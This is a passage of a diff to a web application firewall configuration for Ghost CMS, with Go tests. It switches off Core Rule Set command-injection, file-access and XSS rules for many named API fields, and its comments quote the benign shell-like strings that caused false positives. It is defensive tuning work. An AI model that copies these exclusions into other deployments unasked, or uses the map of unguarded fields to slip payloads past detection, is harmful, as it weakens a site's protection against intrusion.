ctl:ruleRemoveTargetById=932380;ARGS:/^json\.name$/"
|
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.name$/"
|
||||||
|
|
||||||
|
# More fields of plain text skip the same eight rules on the Admin API, which
|
||||||
|
# refused "python3 & powershell club", "Weekly ls -la and .htaccess tips" and
|
||||||
|
# "powershell & python3 deal" in them:
|
||||||
|
# users.<n>.name, slug, bio, location and website, a staff user's profile
|
||||||
|
# setup.<n>.blogTitle and name, creating the first staff user
|
||||||
|
# invitation.<n>.name, accepting a staff invitation
|
||||||
|
# tiers.<n>.name, description and benefits
|
||||||
|
# offers.<n>.name, code, display_title and display_description
|
||||||
|
# recommendations.<n>.title, description and excerpt
|
||||||
|
# integrations.<n>.name and description, and webhooks.<n>.name
|
||||||
|
# posts.<n>.feature_image_alt and feature_image_caption, and the same fields
|
||||||
|
# of pages
|
||||||
|
# Coraza matches a field's name in lower case, so blogTitle is blogtitle.
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||||
|
"id:900370,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/"
|
||||||
|
|
||||||
|
# A member's comment, html at /members/api/comments/, skips the same eight
|
||||||
|
# rules, which refused "I ran ls -la and fixed my .htaccess with python3". The
|
||||||
|
# rules for scripts and HTML still refuse a <script> element, an event handler
|
||||||
|
# and a javascript: link in it.
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /members/api/comments/" \
|
||||||
|
"id:900371,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.comments\.\d+\.html$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.comments\.\d+\.html$/"
|
||||||
|
|
||||||
|
# labels, which the admin gives the members imported from a CSV file at
|
||||||
|
# /ghost/api/admin/members/upload/, skips the same eight rules, which refused
|
||||||
|
# "python3 import" and "powershell & .htaccess".
|
||||||
|
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/members/upload/" \
|
||||||
|
"id:900372,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:labels "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:labels,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:labels,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:labels,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:labels,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:labels,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:labels,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:labels,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:labels"
|
||||||
|
|
||||||
|
# In ActivityPub, a note's or a reply's text and the description of its image,
|
||||||
|
# and an account's name, username and bio, skip the same eight rules. They
|
||||||
|
# refused "Trying python3 & powershell", the image's description "A terminal
|
||||||
|
# running ls -la on .htaccess with python3" and the bio "ls -la and .htaccess
|
||||||
|
# tips". Each field skips them on its own path:
|
||||||
|
# content and image.altText, posting a note at
|
||||||
|
# /.ghost/activitypub/v1/actions/note or a reply under
|
||||||
|
# /.ghost/activitypub/v1/actions/reply/
|
||||||
|
# name, username and bio, saving the account at /.ghost/activitypub/v1/account
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/actions/(?:note$|reply/)" \
|
||||||
|
"id:900373,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.(?:content|image\.alttext)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:content|image\.alttext)$/"
|
||||||
|
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/account" \
|
||||||
|
"id:900374,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.(?:name|username|bio)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:name|username|bio)$/"
|
||||||
|
|
||||||
# A member's email address skips 930120, 932120 and 932260, which refused
|
# A member's email address skips 930120, 932120 and 932260, which refused
|
||||||
# erin.htaccess@example.com, dave.powershell@example.com and
|
# erin.htaccess@example.com, dave.powershell@example.com and
|
||||||
# python3.dev@example.com. These fields hold it:
|
# python3.dev@example.com. These fields hold it:
|
||||||
@@ -132,6 +285,63 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
|||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.users\.\d+\.email$/,\
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.users\.\d+\.email$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.users\.\d+\.email$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.users\.\d+\.email$/"
|
||||||
|
|
||||||
|
# The address of a staff invitation skips the same three rules. Each of these
|
||||||
|
# fields skips them only on its own path:
|
||||||
|
# invites.<n>.email, inviting a staff user at /ghost/api/admin/invites/
|
||||||
|
# email in the query, checking an invitation at
|
||||||
|
# /ghost/api/admin/authentication/invitation/
|
||||||
|
# invitation.<n>.email, accepting it at the same path
|
||||||
|
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/invites/" \
|
||||||
|
"id:900375,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.invites\.\d+\.email$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invites\.\d+\.email$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invites\.\d+\.email$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invites\.\d+\.email$/"
|
||||||
|
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
|
||||||
|
"id:900376,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:email,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:email,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:email"
|
||||||
|
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
|
||||||
|
"id:900377,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.invitation\.\d+\.email$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invitation\.\d+\.email$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invitation\.\d+\.email$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invitation\.\d+\.email$/"
|
||||||
|
|
||||||
|
# In ActivityPub, an account's handle and its address skip 930120 and 932120.
|
||||||
|
# They refused the handles @erin.htaccess@example.com and
|
||||||
|
# @powershell@example.com, and the addresses
|
||||||
|
# https://example.com/users/erin.htaccess and
|
||||||
|
# https://example.com/users/powershell. A handle starts with an @, so 932260
|
||||||
|
# does not refuse @python3.dev@example.com. The domain of the site's handle
|
||||||
|
# skips the same three rules as an email address, which refused
|
||||||
|
# erin.htaccess.example.com, powershell.example.com and python3.example.com.
|
||||||
|
# Each of these fields skips them only on its own path:
|
||||||
|
# sourceHandle, an account that moves here, added at
|
||||||
|
# /.ghost/activitypub/v1/aliases
|
||||||
|
# actorUri, that account's address, when the admin removes it there
|
||||||
|
# targetHandle, the account this one moves to, at
|
||||||
|
# /.ghost/activitypub/v1/migration
|
||||||
|
# domain, saved at /.ghost/activitypub/v1/domain and checked at
|
||||||
|
# /.ghost/activitypub/v1/domain/validate
|
||||||
|
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/aliases" \
|
||||||
|
"id:900379,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.(?:sourcehandle|actoruri)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:sourcehandle|actoruri)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:sourcehandle|actoruri)$/"
|
||||||
|
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/migration" \
|
||||||
|
"id:900380,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.targethandle$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.targethandle$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.targethandle$/"
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/domain(?:/validate)?$" \
|
||||||
|
"id:900381,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.domain$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.domain$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.domain$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.domain$/"
|
||||||
|
|
||||||
# The articles skip these rules on the Admin API:
|
# The articles skip these rules on the Admin API:
|
||||||
# 930120: ls -la /var/www/html/.htaccess in a code block
|
# 930120: ls -la /var/www/html/.htaccess in a code block
|
||||||
# 932120: powershell -ExecutionPolicy Bypass -File build.ps1
|
# 932120: powershell -ExecutionPolicy Bypass -File build.ps1
|
||||||
@@ -178,9 +388,10 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
|||||||
|
|
||||||
# Code injection, the HTML Ghost adds to the head and the foot of a page, and
|
# Code injection, the HTML Ghost adds to the head and the foot of a page, and
|
||||||
# the site's settings, which hold the site-wide code injection besides the
|
# the site's settings, which hold the site-wide code injection besides the
|
||||||
# title and the description, skip the rules of plain text above and these:
|
# title and the description, skip the eight rules that 900353 lists and these:
|
||||||
# 921130, 941100, 941160: <meta name="google-site-verification" ...>
|
# 921130, 941100, 941160: <meta name="google-site-verification" ...>
|
||||||
# 941270: <link rel="preconnect" href="https://fonts.example.com">
|
# 941270: <link rel="preconnect" href="https://fonts.example.com">
|
||||||
|
# 932235, one of the eight, refused the site's title "powershell & python3".
|
||||||
# These fields hold it, and skip the rules anywhere on the Admin API:
|
# These fields hold it, and skip the rules anywhere on the Admin API:
|
||||||
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
|
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
|
||||||
# settings.<n>.value, the value of a setting
|
# settings.<n>.value, the value of a setting
|
||||||
@@ -194,6 +405,7 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
|||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
@@ -216,6 +428,23 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
|||||||
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
|
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
|
||||||
"ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
|
"ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
|
||||||
|
|
||||||
|
# The canonical URL of a post or a page skips the two rules that url skips:
|
||||||
|
# 930120: https://example.com/blog/.htaccess/
|
||||||
|
# 932120: https://example.com/blog/powershell/
|
||||||
|
# Each of these fields skips them only on its own path:
|
||||||
|
# posts.<n>.canonical_url, under /ghost/api/admin/posts/
|
||||||
|
# pages.<n>.canonical_url, under /ghost/api/admin/pages/
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
|
||||||
|
"id:900383,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.posts\.\d+\.canonical_url$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.posts\.\d+\.canonical_url$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.posts\.\d+\.canonical_url$/"
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/pages/" \
|
||||||
|
"id:900384,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.pages\.\d+\.canonical_url$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.pages\.\d+\.canonical_url$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.pages\.\d+\.canonical_url$/"
|
||||||
|
|
||||||
# Saving a staff user's profile sends the field profile_image, whose name holds
|
# Saving a staff user's profile sends the field profile_image, whose name holds
|
||||||
# .profile, a file the list of system files names (930120).
|
# .profile, a file the list of system files names (930120).
|
||||||
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
||||||
@@ -223,6 +452,36 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
|||||||
SecRule &ARGS_GET:/^json\.users\.\d+\.profile_image$/ "@eq 0" \
|
SecRule &ARGS_GET:/^json\.users\.\d+\.profile_image$/ "@eq 0" \
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.users\.\d+\.profile_image$/"
|
"ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.users\.\d+\.profile_image$/"
|
||||||
|
|
||||||
|
# A tag's code injection, tags.<n>.codeinjection_head and _foot under
|
||||||
|
# /ghost/api/admin/tags/, skips the rules that 900356 and 900366 switch off in
|
||||||
|
# the code injection of posts. A javascript: link is still refused in it.
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
|
||||||
|
"id:900378,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=921130;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941110;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/"
|
||||||
|
|
||||||
|
# A tag's canonical URL, tags.<n>.canonical_url under /ghost/api/admin/tags/,
|
||||||
|
# skips the two rules that url skips:
|
||||||
|
# 930120: https://example.com/tag/.htaccess/
|
||||||
|
# 932120: https://example.com/tag/powershell/
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
|
||||||
|
"id:900382,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.tags\.\d+\.canonical_url$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.canonical_url$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.canonical_url$/"
|
||||||
|
|
||||||
# The passwords, which skip each rule that random passwords set off:
|
# The passwords, which skip each rule that random passwords set off:
|
||||||
# password, signing in at /ghost/api/admin/session/
|
# password, signing in at /ghost/api/admin/session/
|
||||||
# setup.<n>.password, creating the first staff user
|
# setup.<n>.password, creating the first staff user
|
||||||
|
|||||||
@@ -11,7 +11,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// ghostThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
// ghostThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
||||||
const ghostThreshold = 5
|
const ghostThreshold = 5
|
||||||
|
|
||||||
// Paths of Ghost's Admin API, Content API and members' API.
|
// Paths of Ghost's Admin API, Content API and members' API.
|
||||||
@@ -28,6 +28,19 @@ const (
|
|||||||
ghostUser = "/ghost/api/admin/users/6af4570fd281b00001a59891/"
|
ghostUser = "/ghost/api/admin/users/6af4570fd281b00001a59891/"
|
||||||
ghostMember = "/members/api/member/"
|
ghostMember = "/members/api/member/"
|
||||||
ghostMagicLink = "/members/api/send-magic-link/"
|
ghostMagicLink = "/members/api/send-magic-link/"
|
||||||
|
ghostInvites = "/ghost/api/admin/invites/"
|
||||||
|
ghostInvitation = "/ghost/api/admin/authentication/invitation/"
|
||||||
|
ghostTiers = "/ghost/api/admin/tiers/6af45710d281b00001a598a3/"
|
||||||
|
ghostOffers = "/ghost/api/admin/offers/"
|
||||||
|
ghostRecommended = "/ghost/api/admin/recommendations/"
|
||||||
|
ghostTags = "/ghost/api/admin/tags/"
|
||||||
|
ghostImport = "/ghost/api/admin/members/upload/"
|
||||||
|
ghostComments = "/members/api/comments/"
|
||||||
|
ghostNote = "/.ghost/activitypub/v1/actions/note"
|
||||||
|
ghostAccount = "/.ghost/activitypub/v1/account"
|
||||||
|
ghostAliases = "/.ghost/activitypub/v1/aliases"
|
||||||
|
ghostMigration = "/.ghost/activitypub/v1/migration"
|
||||||
|
ghostDomain = "/.ghost/activitypub/v1/domain"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
|
func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
|
||||||
@@ -64,7 +77,7 @@ func (f ghostField) with(t *testing.T, value string) string {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// ghostTextFields hold plain text and skip the rules of 900353 and 900359.
|
// ghostTextFields hold plain text and skip the eight rules that 900353 lists.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var ghostTextFields = []ghostField{
|
var ghostTextFields = []ghostField{
|
||||||
@@ -116,8 +129,111 @@ var ghostTextFields = []ghostField{
|
|||||||
`{"snippets":[{"name":"VALUE"}]}`,
|
`{"snippets":[{"name":"VALUE"}]}`,
|
||||||
},
|
},
|
||||||
{http.MethodPut, ghostMember, ghostMemberName},
|
{http.MethodPut, ghostMember, ghostMemberName},
|
||||||
|
|
||||||
|
// A staff user's profile, the first staff user, an invitation accepted.
|
||||||
|
{http.MethodPut, ghostUser, `{"users":[{"name":"VALUE"}]}`},
|
||||||
|
{http.MethodPut, ghostUser, `{"users":[{"slug":"VALUE"}]}`},
|
||||||
|
{http.MethodPut, ghostUser, `{"users":[{"bio":"VALUE"}]}`},
|
||||||
|
{http.MethodPut, ghostUser, `{"users":[{"location":"VALUE"}]}`},
|
||||||
|
{http.MethodPut, ghostUser, `{"users":[{"website":"VALUE"}]}`},
|
||||||
|
{http.MethodPost, ghostSetup, `{"setup":[{"blogTitle":"VALUE"}]}`},
|
||||||
|
{http.MethodPost, ghostSetup, `{"setup":[{"name":"VALUE"}]}`},
|
||||||
|
{http.MethodPost, ghostInvitation, `{"invitation":[{"name":"VALUE"}]}`},
|
||||||
|
|
||||||
|
// Tiers, offers, recommendations, integrations and webhooks.
|
||||||
|
{http.MethodPut, ghostTiers, `{"tiers":[{"name":"VALUE"}]}`},
|
||||||
|
{http.MethodPut, ghostTiers, `{"tiers":[{"description":"VALUE"}]}`},
|
||||||
|
{
|
||||||
|
http.MethodPut,
|
||||||
|
